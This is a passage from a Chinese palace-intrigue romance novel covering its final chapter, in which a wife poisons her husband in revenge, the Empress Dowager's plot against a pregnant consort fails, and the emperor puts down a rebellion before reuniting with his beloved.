魏姝展颜一笑,“我敬夫君。” 两人相对饮下杯中酒。 喝酒误事,为避免耽误正事,舒晋喝了三杯便不愿再喝,魏姝便给他夹菜。 她慢慢收手,放下筷子,轻声道:“其实,我不想你陪我。” 舒晋不解抬头,“为何?” 冷漠女声道:“我只想让你偿命。” 依旧是那张清丽婉约的脸,可女子此刻的神情冰冷至极,看向他的目光像是在看脏物。 舒晋指尖蓦地一颤,不好的预感涌上心头,“茱儿,你在说什么?” “我不叫连茱。” 魏姝扬唇,眼泪落下,“我叫魏姝。” 舒晋心头慌乱,“你、你想起来了?” “都想起来了。” 眼泪落至唇角,魏姝浅浅勾唇,“舒晋,你杀我爹娘,我要你偿命。” 舒晋重重喘气,眼珠爬上血丝,红着眼眶艰涩问道:“哪怕我们成婚多年,你依然要杀我?” “那是我的爹娘啊!” 魏姝哽声哭泣,“爱我如珠如宝,疼我入骨的爹娘!他们都死在你手上,你要我怎么释怀,怎么释怀?!” 纤细长指落在眼下,魏姝抚摸着那颗红痣。 她想起爹爹的鲜血溅在眼下时的滚烫温度,她看着他们倒在血泊中,哪怕是死,眼睛依然注视着她的方向。 泪水模糊了视线,魏姝哭得伤心,“你杀了我的爹娘,现在还想杀我妹妹妹夫,你要我如何不恨,怎么忍得住不去报仇!” “妹、妹妹妹夫?” 心**发出剧烈疼痛,舒晋猛地咳出一口血。 他大口喘气,“是、是孟桓启……?” “是啊。” 魏姝笑着,嘴角涌出血迹,“你瞒得再深,可我毕竟是你的枕边人,不可能察觉不到你的野心。我不会让你破坏我妹妹的幸福。” 她忍着剧烈的疼痛,轻轻笑出声,泪水血水一并流淌在下巴、脖子上。 “舒晋,和我一起去死吧。” 一滴泪从舒晋眼角淌下,他又咳出一口血,五脏六腑仿佛挤压在了一处,“阿珠,这么多年,你就没有一刻爱过我?” 那年春莺鸣啼,杨柳如丝,他在湖边见到一名衣着朴素,秀丽无双的少女,对她一见倾心,强抢入府。 当时的舒晋正当年少,强硬霸道,害死了心上人的父母,连带那姑娘也撞了柱。 上天垂怜,姑娘并未身亡,却因伤了头失去记忆,舒晋激动狂喜,以为是老天给他的再一次机会。 此后多年,他们的确恩爱情深。他想,等他杀了孟桓启登上皇位,便立她为后,再与她生几个孩子,一生一世一双人。 可在他起事的关键时刻,她竟然恢复了记忆。 毒发的疼痛令舒晋丧失了大部分理智,却还是执着地看着她。 “……一刻,也没有吗?” “阿珠,真的一刻……也没爱过我吗?那廷儿呢,廷儿又算什么?” 他似哭似痛的声音让魏姝闭眼。 连茱的确爱过自己的丈夫舒晋,可魏姝却只会恨他。 在这个时刻,她竟然庆幸舒廷早逝,让她不用去面对一个乖巧懂事,却又流着罪恶之血的孩子。 “舒晋,我是魏姝,哪怕失去记忆,我也只会是魏姝。连茱只是你为我编织的一个梦境。” 魏姝忍痛砸落桌上酒壶,从怀中取出火折子扔在地上。 火焰猛地窜起,齐齐映照在两人含泪的眼中。 “现在梦醒了,你该为我爹娘偿命了。” “你的谋划,你的野心,从这一刻起结束了。” “陛下容不下舒家,所有的罪孽即将现世,你们舒家将被万人唾骂,为你们所犯的罪付出代价。” 舒晋嗓音嘶哑着笑出声,猩红的眼死死盯着魏姝,面色狰狞,“阿珠,你是我的,这辈子,下辈子,生生世世,你都只会是我的人。我绝不放手,黄泉路上,我等着与你夫妻相见。” 他哈哈大笑,笑声凄厉诡异,在魏姝的注视下慢慢闭上眼。 魏姝一直看着他,等到他咽气时蓦地哭出声。 疼痛蔓延至全身,魏姝眼前阵阵发晕,熊熊大火映照着她苍白的脸,与脸上鲜艳的血渍。 爹娘,不孝女魏姝给你们报仇了。 魏姝泪流不止,口中喃喃,“爹娘,对不起……” 这一切由我而起,也 该由我结束。 舒晋,既然你不愿放过我,那就生生世世与我共坠炼狱,别去扰我爹娘清净,脏了他们的眼。 可惜啊…… 没能看见小雨的孩子出生,也没能看见小圆出嫁。 魏姝忽然勾起唇角。 这样也好,这样也好。 就让她们一直以为魏姝早就已经死了,让她活在她们的记忆里,免得为她这个为仇人生儿育女的姐姐难过。 魏姝缓缓闭上眼,一滴泪从眼角滑下,落在大火中。 火焰越烧越旺,将整间书房吞没,也吞噬了姑娘柔弱的身影。 煌煌火光中,似有一道无尽遗憾的叹息随之湮灭。 【终章】 第86章 “太后娘娘这是何意?” 云镜纱目光镇定。 舒裳晚与丹莹一道走到舒太后身旁,沉默垂首。 舒太后抬睫,轻慢地乜了眼云镜纱,“哀家想知道,你和你肚子里那孽种若是死了,皇帝会露出什么样的表情?” “悲伤?痛苦?还是痛不欲生?” 似是想到孟桓启绝望的模样,舒太后目露精光,快意长笑,“哀家要当着他的面杀了你,等着看他悲痛欲绝的表情,看容悦那个贱。人的贱种如何一败涂地!” 此话一出,云镜纱深吸一口气。 这是要撕破脸了。 她这里有杀手,想必孟桓启那儿也不遑多让,也不知他现在如何了。 云镜纱冷冷看着舒太后,“太后娘娘,亲手杀了自己亲生儿子的感觉如何?” “闭嘴!” 舒太后大怒,浑浊眼里爬上血丝,后槽牙紧咬,一脸恨不得将云镜纱吞吃入腹的狰狞,“那贱种还真是在意你,竟然什么都说与你听。” 云镜纱平静道:“陛下乃是先帝与容淑妃之子,容淑妃出身名门,太后娘娘一口一个贱种,是觉得你舒家血脉高贵无比?” 她冷嗤一声,“舒家,一群吃百姓血肉的水蛭,动摇大周江山的蠹虫,得亏大皇子是养在容淑妃膝下,否则哪儿来的贤名?” “怕不是又一个舒明舒扬。” “你闭嘴!” 舒太后气血上涌,重重喘气,“你这个贱民在胡说什么?!哀家的皇儿贤良出色,若非孟彧骗我害我,他现在定是大周明君,又怎会惨死?!” “先帝为何骗你?” 云镜纱歪了下头,不屑冷嗤,“还不是因为太后娘娘将陛下与大皇子掉了包?容淑妃对大皇子视如己出,疼爱有加,你却对容淑妃之子打压责骂,将他赶出皇宫。造成大皇子之死的,是太后娘娘自己啊。” 刀剑相击的铿锵声中,云镜纱的嗓音格外清晰,在场之人纷纷露出震惊之色。 陛下,竟然是先帝与容淑妃之子?! “残害亲子,如此丧心病狂,不愧是舒家人。” 嘲讽的话音彻底激怒了舒太后,指着云镜纱怒声道:“动手,杀了她!” 一道寒芒自云镜纱身后一闪而过,冰冷刀尖刺入她的后背。 白皙柔嫩,甚至有些胖乎乎的手抓住行凶之人的手腕,匕首再无法往前进一寸。 尹寻春怒斥,“芳音,你在做什么?!” 云镜纱转过身。 芳音站在她身后,脸上不知何时淌满了泪,手腕被尹寻春紧紧攥住,一把匕首握在掌心,手的主人似拿不稳,刀尖不住颤抖。 云镜纱仿佛并不意外,只是平声问:“为什么?” 芳音崩溃大哭,“娘娘,我不想,我不想的!可是太后抓了我娘亲!我娘只有我这么一个女儿,我也只有我娘了,我不能丢下她不管。” “娘娘,我也不想伤害你的,可我真的没办法了……” 云镜纱抿着唇。 在相识没多久的主子和亲生母亲之间,谁都知道该怎么选,她该理解的,但或许是有孕在身的缘故,云镜纱心里控制不住地难过。 尹寻春见她哭得这般可怜,手上不由一松。 就在这时,芳音蓦地举起匕首。 尹寻春大惊,“娘娘!” 正在杀敌的丰熙时刻注意着云镜纱的安全,见状心脏一缩,“娘娘当心!” 云镜纱一抬眸,寒光从眼前一闪而过。 芳音举着匕首,狠狠刺入心脏。 鲜血从心口涌出,极快打湿了她的手。芳音浑身泄力跌坐在地。 “芳音!” 云镜纱震惊,双手下意识去扶她。 芳音勉强抬头,嘴角笑意惨淡,“娘娘别过来。血气重,别冲撞了您腹中的小皇子。” 云镜纱咬唇,“你这是何必?” “我做了错事,自然该受罚。” 芳音眨眼,眼泪从眼睫上滚落,她哑着嗓子问:“只是,娘娘能否看在相识一场的份上,救救我娘?” 她哭着说:“她过得苦,我不想让她因为我受苦,求娘娘看在以往的情分上救救她。” 云镜纱红了眼,“你放心,我会把她救出来。” 芳音嘴角上扬,狠心将匕首重重刺入心脏。 她身上全是血,眼神涣散望着云镜纱的方向,嘴角嚅动。 对不起。 看着她暗淡的眸光,云镜纱捂着胸口,嗅着空气中的血腥气,忽然觉得胃里一阵翻涌。 她弯腰阵阵干呕。 舒太后脸色难看,“你是怎么发现她的?” 云镜纱眼前发晕,心口闷胀,她掐了掐掌心,强行撑起虚弱的身子,朝舒太后勾唇一笑,“你想知道?” 目光轻轻一扫。 她的暗卫虽能以一敌多,但数量并不多,与舒太后一方胶着,暂时无法分出胜负。 云镜纱勾唇一笑,“我偏不告诉你。” 视线再度移动,看向舒太后和舒裳晚,以及两人身侧的舒家暗卫,云镜纱尾音骤然一转,语调冷了下去,“还不动手?” 舒太后拧眉,“什么?” 下一瞬,后背大力袭来,舒太后一时不备,身子重重跌了出去。 与此同时,尹寻春蓦地出手,一手掐住舒太后脖子,将她扯到云镜纱身前。 “太后!” 变故来得猝不及防,舒家人正要冲上去,尹寻春蓦地低吼,“别动!敢动一步,我现在就杀了她。” “太后娘娘!” 李嬷嬷眼里含了泪,忽然去厮打舒裳晚,“贵妃,太后娘娘对你一向不薄,你为何要害她?!” 丹莹挡在舒裳晚面前,一脚踹了上去。 李嬷嬷这些年来在太后身边算得上是养尊处优,哪受得了她这一脚,重重摔下,抱着肚子哀叫。 “待我不薄?” 舒裳晚低低笑出声,“所谓的待我不薄,就是杀了我的孩子?” 她哈哈大笑,笑声凄厉嘲讽,“你们舒家人,都是一样的虚伪!” 舒家人朝舒裳晚挥刀,尹寻春也明白了,舒贵妃和她们是一伙的! 她蓦地怒喝,“住手,敢动她,我现在就把这恶毒老女人掐死!” 尹寻春手上用力,舒太后的脸色立即涨红,艰难出声,“别、别动手……” 舒家人对视,停在原地。 暗卫们得了喘息,齐齐飞身到云镜纱身前,将她护在身后。 “让贵妃过来。” 云镜纱出声。 舒裳晚不去管虎视眈眈的舒家人,拉着丹莹走到云镜纱身旁。 舒太后不可置信地看着二人,双目充血,“你、你们是一伙的!” “舒裳晚!你骗我!” 舒裳晚神色冷漠,“姑母,这些年宫中无人,你昔日的手段都生疏了吧?这么明显的证据摆在我面前,我不至于看不出端倪。” “我分明派人监视着凤仪宫,你们是怎么串通的?!” 起初看见舒裳晚时,云镜纱的确疑心她投了舒家人,但直到听到那句,“不敢喝她的饮子。” 当时她分明喝了,寻春与丰熙皆可作证,舒裳晚为何那么说? 或许是口误,也有可能是提醒。 云镜纱更倾向于后者。 这谎话不仅是说给她听的,也是说给赏花那日不在场的人听的。 那日谁不在? 只有芳音。 太后点出她有孕时,云镜纱更加确定芳音有问题。 尹寻春自幼跟着她,不可能会背叛,至于丰熙,她是孟桓启的暗卫,更不可能会叛敌。 那就只有一个芳音。 这些话云镜纱不可能告诉舒太后,她眸色冰冷地看着舒太后一脸愤恨对舒裳晚道:“舒裳晚,你这个吃里扒外的东西,你是舒家人,身体里流着舒家人的血,你怎么能帮着外人对付至亲?!” 舒裳晚红了眼,藏了许久的愤怒与恨意终于显露,“若是可以,我恨不得自己不姓舒!” “你们杀了我娘,害我与心上人分离,还想让我替你们卖命,不可能!” “我恨不得杀光靖国公府的人,恨不得他们都去死!” “混账,孽障!” 舒太后咳嗽着艰难出声,“哀家流了那孽种果真没错。” 她大吼,“来人,杀了她们,杀光容悦那贱。人的贱种!” “别动!” 尹寻春加大力道,“让我们出去,否则我杀了她。” 穿着太监服的舒家领头人目光冷漠,“世子有令,必须除去云昭仪与她腹中之子,杀!” “杀!” 刀剑锋锐,杀声震耳。 丰熙提剑站在最前方,冷声下令,“誓死保护娘娘。” “是!” 尹寻春瞪大了眼,恨声道:“既然你们不顾这老女人的死活,那我就不客气了。” 她掌中用力,“咔嚓”一声拧了舒太后的脖子。 李嬷嬷尖叫,“太后娘娘!” 她疯了一般朝软绵绵跌落的舒太后扑去。 混乱中,不知从何处而来的一柄剑刺穿了李嬷嬷的身体。 殿内的血腥气越来越重,云镜纱死死忍住呕吐的欲望。 舒裳晚扶着她,担忧问:“你怎么样?” “没事。” 云镜纱脸色苍白,目光坚定,“我撑得住。” …… “呲——” 刀尖从宫墙上划过,发出刺耳的声音。 “滴答。” 血珠顺着长指落下,滴在宫道上。 孟桓启垂眸望着手臂上的伤口,眸色凝重。 出来得太急,未带兵器,这是他最大的弱势,更别说对方人数众多,而他只有一人。 他呼出一口气。 舒家果真是狗急跳墙了。 就是不知,这次助他们的都是哪几家? 等着,他往后一家一家地清算。 吁出一口气,孟桓启抓住握着长刀迎面劈来的刺客的手,用力一折。刺客惨叫一声,手中失力,刀柄脱手而出。 孟桓启握住刀,干脆利落地杀了刺客,转身与其他刺客搏斗。 “陛下,救驾,救驾!” 跟在禁卫身后的高德容瞥见前方孤军奋战的孟桓启,扯着嗓子高声尖叫。 先一步赶到的卫焱带着暗卫闯入刺客包围群中,手起剑落,鲜血飞溅。 武稷当机立断,朝天射出一支响箭,尖锐悠长的鸣响瞬间在空中传荡开。 在暗卫和禁卫的配合之下,刺客很快被解决。 孟桓启“唰”地拔出长刀,鲜血如红缨般绕着刀身。 他眉眼染血,眸色冷冽,“卫焱,你派人去寻昭仪娘娘,务必保护她的安全。” 卫焱领命,“是。” “武稷。” “微臣在。” 孟桓启吸气,“点兵,随朕迎敌。” 他看着隐在黑暗中的皇宫,耳畔隐隐已响起了兵戈之声。 战场刺杀不过是开胃小菜,重头戏还在后头。 武稷拱手,声音铿锵有力,“是!” 孟桓启往玉华宫的方向看了眼,压下心底的担忧,狠心转身。 “唰——” 破空声在怒号的风雪中几不可闻,孟桓启察觉到异常,霍然转身。 “陛下当心!” 离他最近的禁卫蓦地挡在孟桓启身前,下一瞬,箭簇刺入皮肉,高大身影陡然倒地。 孟桓启下意识去接。 黑暗中,有道身影仓促而逃,武稷怒喝一声,“来人,去追!” 一名禁卫出列,“是!” 怀中之人胸前插着一支冷箭,孟桓启眉头紧皱,低头看他,“你唤何名?” 那人呕出一口黑血,“卓、卓均。” 箭上有毒。 孟桓启嘴角绷直,“忍着,你若不死,朕赐你黄金千两,良田百顷。” 卓均张了张唇。 他想说,他不想要黄金良田,他想要权势地位。 当初,她因为一个“权”字离开,若他成为陛下的救命恩人,手握权势,她会不会回来? 卓均的瞳孔逐渐涣散。 晚晚,真想再见你一面 孟桓启沉着脸,喝道:“高德容!” 高德容连滚带爬过来,抖着嗓子道:“陛、陛下有何吩咐?” “将他带回长极宫,宫内博古架上有一尊金狻猊,摔了它,里边藏了两颗药,为他吃一颗,无论如何,保住他的命。” 高德容急急忙忙应声,“诺。” 孟桓启将卓均交给两名禁卫,二人对孟桓启点了点头,抬着卓均跟在高德容身后。 深吸一口气,孟桓启冷着脸对武稷道:“走,点兵。” …… 舒家人一个个倒下,暗卫们的力量也在消耗,就在这时,卫焱终于带着人找上来。 有了他们的加入,这场战斗极快落幕,云镜纱忍着眩晕和恶心追问:“陛下如何了?” “回娘娘的话,逆贼围困宫门,陛下正在迎敌。” 云镜纱掐了下掌心。 舒裳晚看她脸色苍白,提议道:“去别的宫殿等消息吧,此处血腥气太重,你身子怕是受不了。” 云镜纱重重点头,“好。” 玉华宫有些远,且宫中不安全,卫焱便护送她们到了凤仪宫旁边的甘泉宫。 尹寻春和丹莹急忙去拾掇,好让两位主子坐下。 离开了凤仪宫,云镜纱脸色略有好转,她攥着手,目光担忧地望着长极宫的方向。 舒裳晚也坐在榻上发呆。 阿均是禁卫,他现在如何了,可会受伤? 二人纷纷缄默,心中焦急担忧。 夜已深,尹寻春劝云镜纱去休息,她摇摇头,咬唇强撑着。 五更时,云镜纱略略睡了会儿。 梦中光怪陆离,一会儿是孟桓启笑着朝她走来,一会儿是他浑身是血地倒在长极宫前。 看清他脸上的血,云镜纱被吓醒了。 她再也睡不着,静坐在床榻之上,睁眼盯着殿门。 天光大亮时,云镜纱忽有所感,翻身下床,快步朝外走。 走出甘泉宫大门,她蓦地停住。 不远处,身着盔甲,脸上染血的孟桓启正在朝她走来。 他感受到了什么,蓦地抬眼。 云镜纱扬唇一笑,朝他跑去。 孟桓启张开双臂,将她纳入怀中。 盔甲冰冷,上面还沾着血,云镜纱却觉温暖,紧紧抱住孟桓启的腰身。 良久,他哑声道:“叶老侯爷带兵援驰,叛军已尽数投降。我们赢了。” “小雨。” 孟桓启语气轻松,细听,还能听出浅淡的笑意,“从今往后,你可以做回魏妤了。” 鼻端酸涩,云镜纱闭眼,滚烫泪珠落在他冰冷的盔甲上。 “小启哥哥,谢谢你。还有。” 云镜纱侧脸贴在孟桓启盔甲上,声音轻而郑重,“我爱你。” “嗯。” 孟桓启在云镜纱发上落下一吻,含笑道:“我知道。” 熹光照亮半边天空,二人在晨光里紧紧相拥,密不可分。